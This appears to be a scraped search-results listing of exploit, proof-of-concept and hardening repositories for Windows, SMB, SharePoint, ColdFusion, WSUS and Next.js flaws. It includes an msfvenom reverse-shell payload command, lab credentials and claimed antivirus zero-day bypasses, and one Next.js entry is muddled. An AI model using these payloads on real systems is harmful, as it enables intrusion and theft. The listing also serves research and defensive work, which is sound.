23118 matches found
magicNetdefs
magicNetdfs Reference https://github.com/Wh04m1001/DFSCoerce Usage Se considerarán futuras actualizaciones; por ahora solo se valida la explotabilidad de este método RPC. Más adelante se planteará el aprovechamiento específico del token SYSTEM. Description Se utiliza el protocolo MS-DFSNM:...
CVE-2022-30136
CVE-2022-30136 Exploit remoto del sistema de archivos de red de Windows DoS PoC PoC: https://github.com/fortra/CVE-2022-30136 Detalles: https://www.coresecurity.com/core-l...136-windows-network-file-system-vulnerability Productos afectados: Windows servers 2016, 2019...
SMBGhost_CVE-2020-0796_checker
SMBGhost Escáner simple para CVE-2020-0796 - SMBv3 RCE. El escáner está destinado únicamente a probar si un servidor es vulnerable. No está destinado a investigación o desarrollo, de ahí el payload fijo. Verifica el dialecto SMB 3.1.1 y la capacidad de compresión a través de una solicitud de...
CVE-2025-50154
Kit de Endurecimiento y Caza de Amenazas NTLM/SMB Autor: w01f Versión: 1.0 Propósito: Auditar, endurecer y cazar usos inseguros de NTLM/SMB para mitigar riesgos como CVE-2025-50154. Resumen de CVE-2025-50154 Severidad: Alta Tipo: Fuga de credenciales NTLM + Bypass de parche Zero-Click Afecta:...
CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-
CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free Ejecución remota de código mediante Use-After-Free en JScript.dll CVE-2025-30397 🧠 Descripción Este repositorio contiene un exploit de prueba de concepto PoC para una vulnerabilidad de Use-After-Free en el motor JScript jscript.dll q...
CVE-2023-26360-RCE
CVE-2023-26360 - Ejecución Remota de Código en ColdFusion 2021 A veces, los scripts no funcionan en el primer intento. Inténtalo varias veces para que funcione. Cómo ejecutar Crear un payload con msfvenom msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Iniciando server.py...
cve-2023-29357-Sharepoint
CVE 2023 29357 Información Objetivo SharePoint Windows Server 2016 con SharePoint 2019 Login : FSI\Administrateur Password : Admin123! IP : 192.168.56.4 Hostname : WIN-HEVUJ4GJMA6 Atacante Lubuntu Versión 22.04.3 Login : fsi Password : Admin123! IP : 192.168.56.3 Configuración del entorno de prue...
printnightmare-detection-mitigation-lab
Laboratorio de detección y mitigación de PrintNightmare Un caso de estudio académico depurado que demuestra cómo se diseñó, supervisó y endureció un laboratorio de dominio Windows mientras se investigaba CVE-2021-34527 PrintNightmare en un entorno virtual controlado. Nota de seguridad: Este...
ms08-067
📖 Resumen Este repositorio contiene una implementación de módulo de Metasploit para la vulnerabilidad del servicio de servidor de Windows MS08-067 CVE-2008-4250. Esta es una vulnerabilidad clásica de ejecución remota de código que afecta a sistemas Windows antiguos. 🛠️ Instalación y Uso Requisitos...
CVE-2020-0796-POC
CVE-2020-0796-POC 受影响系统版本 漏洞不影响win7，漏洞影响Windows 10 1903之后的各个32位、64位版Windows，包括家用版、专业版、企业版、教育版。 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903 Server Core installation Windows 10...
CVE-2022-26923-rayng
Explotando CVE-2022-26923: Escalada de Privilegios mediante Autoridad de Certificación Resumen CVE-2022-26923 es una vulnerabilidad en los Servicios de Certificados de Active Directory AD CS que permite a un atacante escalar privilegios abusando de la autenticación basada en certificados. Esta gu...
CVE-2021-34527
CVE-2021-34527 CVE-2021-34527 es una vulnerabilidad crítica de ejecución remota de código y escalada de privilegios local denominada "PrintNightmare". Se han publicado exploits de prueba de concepto Python, C++ para la capacidad de ejecución remota de código, y una versión en C para escalada de...
cve-2013-3900-remediation-report
Informe de Remediación: CVE-2013-3900 – Vulnerabilidad de WinVerifyTrust en Windows Server 2019 Máquina Virtual de Azure Resumen Durante una evaluación de vulnerabilidades autenticada reciente realizada con Tenable Nessus, se detectó CVE-2013-3900 en una máquina virtual con Windows Server 2019...
Assignement_3-CVE-2017-7269
CVE-2017-7269 Nombre : Killian Munt-Buron y Naji Ullah Abbasi Descripción del CVE CVE-2017-7269 es una vulnerabilidad de desbordamiento de búfer en Microsoft Windows Server 2003 R2. La vulnerabilidad está en la función ScStoragePathFromUrl en WebDAV. Esta vulnerabilidad permite ejecutar código...
Windows Server 2003 & IIS 6.0 - Remote Code Execution
Internet Information Services IIS 6.0 in Microsoft Windows Server 2003 R2 contains a buffer overflow vulnerability in the ScStoragePathFromUrl function in the WebDAV service that could allow remote attackers to execute arbitrary code via a long header beginning with "If http://" in a PROPFIND...
ShieldBreak
ShieldBreak - Windows Defender 0day 脆弱性 Microsoft は RoguePlanet 脆弱性 CVE-2026-50656 の適切なパッチ適用に失敗しており、この PoC は完全なパッチバイパスを実証しています。 この PoC は、最新バージョンの Windows 11 25H2 +Canary チャネル と Windows Server 2025 でテストされており、成功率は 100% です。 なお、Windows 10 および対応するサーバーエディション は現在サポートされていませんが、ShieldBreak...
FalconFlank
FalconFlank Crowdstrike Falcon 0day Privilege Escalation Vulnerability FalconFlank is a 0day privilege escalation that abuses the office malicious macros remediation in Crowdstrike Falcon Sensor, obviously by the time I drop this Crowdstrike would already have detections for it so if you want to...
Windows Server Update Service - Insecure Deserialization
Windows Server Update Service contains an insecure deserialization vulnerability caused by deserialization of untrusted data. An unauthorized attacker with network access can exploit this to execute arbitrary code remotely, potentially leading to full system compromise. id: CVE-2025-59287 info:...
NPM: Next.js: Unauthenticated Remote Code Execution on windows-hosted servers
NPM: Next.js: Unauthenticated Remote Code Execution on windows-hosted servers vulnerability discovered by ? in WordPress Npm next versions = 13.4.0, 15.5.24...
